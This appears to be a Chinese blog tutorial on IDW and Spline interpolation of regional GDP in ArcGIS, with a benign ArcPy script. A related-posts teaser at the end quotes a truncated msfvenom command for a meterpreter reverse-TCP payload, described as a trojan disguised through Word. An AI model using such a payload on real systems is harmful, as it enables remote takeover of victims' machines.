GDP区域分布图的生成与对比(ArcPy实现)
一、背景
各地区经济协调发展是保证国民经济健康持续稳定增长的关键。GDP是反映各地区经济发展状况的重要指标。科学准确分析各地区GDP空间分布特征,对制定有效措施,指导经济协调发展具有重要参考价值。
二、目的
ArcGis中提供了中提供了三种空间插值方法,每种插值方法在原理上和应用上都大不相同,在此通过具体实例练习如何利用内插方法和卸内插方法进行GDP空间分布特征的分析,以此来引导读者对空间插值有一个更深刻的认识。
三、数据
某地区的统计GDP数据(GDP.shp),数据范围:4601万~132630万元。(\Chp8\Ex4\)
四、要求
*1) 经济的发展具有一定的连带效应和辐射作用。以该地区各区域年GDP数据为依据,采用IDW和Spline内插方法创建该地区GDP空间分异栅格图。
*2)分析每种插值方法中主要参数的变化对内插结果的影响。
*3)分析两种内插方法生成的GDP空间分布图的差异性,简单说明形成差异的主要原因。
*4)通过该练习,熟练掌握两种插值方法的适用条件。
五、流程图
(1)反距离权重(IDW)内插方法流程:

(2)样条函数(Spline)内插方法流程:

(3)两种方法之间的对比,通过空间分析中【栅格计算器】命令来进行分析。选择反距离权重(Power=2),样条函数(Regularized,Weight=0.01)。在【栅格计算器】中计算Abs (IDW-Spline),比较二者产值变化空间分异特征。
六、模型构建器

七、ArcPy实现
注:栅格计算器工具专门用于 ArcGIS for Desktop 应用程序(仅作为 GP 工具对话框)或模型构建器。它不适用于脚本的编写,而且也不能用于 ArcPy Spatial Analyst 模块。所以给模型里的栅格计算器里的运算全部分成两部,即相减并取绝对值。
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------------
# 8-4GDP区域分布图的生成与对比.py
# Created on: 2021-10-10 20:21:39.00000
# (generated by ArcGIS/ModelBuilder)
# Description:
# ---------------------------------------------------------------------------
# Import arcpy module
import arcpy
from arcpy import Raster
from arcpy.sa import Abs
import os
import shutil
path = raw_input("请输入数据所在的绝对路径:").decode("utf-8")
paths = os.path.split(path)[0] + "\\result"
if not os.path.exists(paths):
os.mkdir(paths)
else:
shutil.rmtree(paths)
os.mkdir(paths)
# Local variables:
GDP = path + "\\GDP.shp"
IDW2 = "IDW2"
IDW5 = "IDW5"
Spr0 = "Spr0"
Spr01 = "Spr01"
Spt0 = "Spt0"
Spt5 = "Spt5"
# Set Geoprocessing environments
print "Set Geoprocessing environments"
arcpy.env.workspace = paths
arcpy.env.scratchWorkspace = paths
arcpy.env.mask = path + "\\bound.shp"
# Process: 反距离权重法
print "Process: 反距离权重法"
arcpy.gp.Idw_sa(GDP, "GDP", IDW2, "500", "2", "VARIABLE 12", "")
# Process: 反距离权重法 (2)
print "Process: 反距离权重法 (2)"
arcpy.gp.Idw_sa(GDP, "GDP", IDW5, "500", "5", "VARIABLE 12", "")
# Process: Process: IDW2_IDW5相减并取绝对值
print "Process: IDW2_IDW5相减并取绝对值"
# arcpy.gp.RasterCalculator_sa("Abs(\"%IDW2%\" - \"%IDW5%\")", IDW2_IDW5)
Abs(Raster(IDW2) - Raster(IDW5)).save("IDW2_IDW5")
# Process: 样条函数法
print "Process: 样条函数法"
arcpy.gp.Spline_sa(GDP, "GDP", Spr0, "500", "REGULARIZED", "0", "12")
# Process: 样条函数法 (2)
print "Process: 样条函数法 (2)"
arcpy.gp.Spline_sa(GDP, "GDP", Spr01, "500", "REGULARIZED", "0.01", "12")
# Process: Process: Spr0_Spr01相减并取绝对值
print "Process: Spr0_Spr01相减并取绝对值"
# arcpy.gp.RasterCalculator_sa("Abs(\"%Spr0%\" - \"%Spr01%\")", Spr0_Spr01)
Abs(Raster(Spr0) - Raster(Spr01)).save("Spr0_Spr01")
# Process: 样条函数法 (3)
print "Process: 样条函数法 (3)"
arcpy.gp.Spline_sa(GDP, "GDP", Spt0, "500", "TENSION", "0", "12")
# Process: 样条函数法 (4)
print "Process: 样条函数法 (4)"
arcpy.gp.Spline_sa(GDP, "GDP", Spt5, "500", "TENSION", "5", "12")
# Process: Spt0_Spt5相减并取绝对值
print "Process: Spt0_Spt5相减并取绝对值"
# arcpy.gp.RasterCalculator_sa("Abs(\"%Spt0%\" - \"%Spt5%\")", Spt0_Spt5)
Abs(Raster(Spt0) - Raster(Spt5)).save("Spt0_Spt5")
# Process: Process: IDW2_Spr01相减并取绝对值
print "Process: IDW2_Spr01相减并取绝对值"
# arcpy.gp.RasterCalculator_sa("Abs(\"%IDW2%\" - \"%Spr01%\")", IDW2_Spr01)
Abs(Raster(IDW2) - Raster(Spr01)).save("IDW2_Spr01")
rasters = arcpy.ListRasters()
for raster in rasters:
if u"_" not in raster:
print u"正在删除{}图层".format(raster)
arcpy.Delete_management(raster)
print "运行完毕~~~"
八、结果



实验结束 byebye~
GDP区域分布图的生成与对比(ArcPy实现)的更多相关文章
- 国内app快速生成平台对比
泰格老虎 2013-03-07 00:39:10 这是海恒CEO高鹏写的一篇国内app快速生成平台对比文章,介绍了国内快速生成APP的平台与自己平台的对比,很有参考价值. 同类网站 安米网 http ...
- UIImage类方法总结及UIImage生成方法对比
http://mp.weixin.qq.com/s/A900w0Y5pGjuaB4j9Os9ww1.UIImage 生成方法的对比 Apple官方的文档为生成一个UIImage对象提供了两种方法: 1 ...
- 从生成文件对比两种创建虚拟机的方式:boot from image和boot from bootable-volume
1. 创建bootable-volume(参考:http://docs.openstack.org/grizzly/openstack-compute/admin/content/instance-c ...
- 使用Jmeter聚合报告生成对比图表
背景 最近在帮别的项目组执行性能测试,使用的工具是Jmeter.接口录制和参数化前一个人已经做好了,我主要的工作就是执行脚本,撰写测试报告.事情并不复杂,可做起来却极为耗时. 首先,由于有6组账号,分 ...
- 生成模型(Generative Model)和 判别模型(Discriminative Model)
引入 监督学习的任务就是学习一个模型(或者得到一个目标函数),应用这一模型,对给定的输入预测相应的输出.这一模型的一般形式为一个决策函数Y=f(X),或者条件概率分布P(Y|X). 监督学习方法又可以 ...
- SpringMvc项目中使用GoogleKaptcha 生成验证码
前言:google captcha 是google生成验证码的一个工具类,其原理是将随机生成字符串保存到session中,同时以图片的形式返回给页面,之后前台页面提交到后台进行对比. 1.jar包准备 ...
- C# 处理Word自动生成报告 一、概述
经常遇到这样的需求, 生成Word格式的报告, 而不是单纯的一张表格的报表. 就像体检报告一样. 数据来源部分决定采用一个存储过程返回Dataset的方式, 整张报告的数据来源于此Dataset的多 ...
- C# 处理Word自动生成报告 三、设计模板
C# 处理Word自动生成报告 一.概述 C# 处理Word自动生成报告 二.数据源例子 C# 处理Word自动生成报告 三.设计模板 C# 处理Word自动生成报告 四.程序处理 既然是模板就少不了 ...
- swagger 自动生成接口测试用例
---整体更新一波--- 1.实际工作中,因为要动手输入的地方比较多,自动生成的异常接口用例感觉用处不大,就先去掉了,只保留了正常的: 2.接口有改动的,如果开发人员没有及时告知或没有详细告知,会增加 ...
随机推荐
- 带你走进MySQL全新高可用解决方案-MGR
一.初识MGR 相信很多人对MGR这个词比较陌生,其实MGR(全称 MySQL Group Replication [MySQL 组复制])是Oracle MySQL于2016年12月发布MySQL ...
- Springboot_Email注解爆红
应该是更新后的版本,不会自动导入pom依赖 <!--新版本需要validation启动器 --> <dependency> <groupId>org.springf ...
- golang context包
go context标准库 context包在Go1.7版本时加入到标准库中.其设计目标是给Golang提供一个标准接口来给其他任务发送取消信号和传递数据.其具体作用为: 可以通过context发送取 ...
- vue 引入 echarts 图表 并且展示柱状图
npm i echarts -S 下载 echarts 图表 mian.js 文件 引入图表并且全局挂载 //echarts 图表 import echarts from 'echarts' Vue. ...
- python-request 实现企业微信接口自动化-1(DDT)
环境准备 python+requests 读取企业微信api开发文档,得知调用企业微信接口必须先获取企业微信的accesstoken是通过 ("corpid","&quo ...
- Docker入门之zabbix-agent篇
在client端启动zabbix-agent服务 启动zabbix-agent有如下2种方式: agent start root@lykj-45:/srv# ls leyao zabbix zabbi ...
- VUE004. provide与inject的使用(祖先组件隔多层传静态值给子孙组件)
provide和inject可以通过祖先组件隔三层四层甚至隔着九层妖塔传值给子孙组件. 需要注意的是这样的传值方式是非响应式的,需要结合自身的应用场景,比如将上传的限制条件通过父组件传值给子组件的子组 ...
- 反射应用和获取Class对象的三种方式
一.写一个"框架",可以创建任何对象运行任何方法 1.配置文件 2.使用类加载器ClassLoader,Properties集合是可以和IO流结合使用完成读取和写入数据的集合,方法 ...
- Powershell配合word伪装木马执行
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...
- xshell与小键盘问题
有些程序员的键盘是带有小数字键的,在使用xshell中文版时就可能出现一些小状况,本集就同大家分析一下使用数字键盘出现乱码的情况怎么办. 图1:使用数字小键盘出现乱码 问题描述: 在xshell上用v ...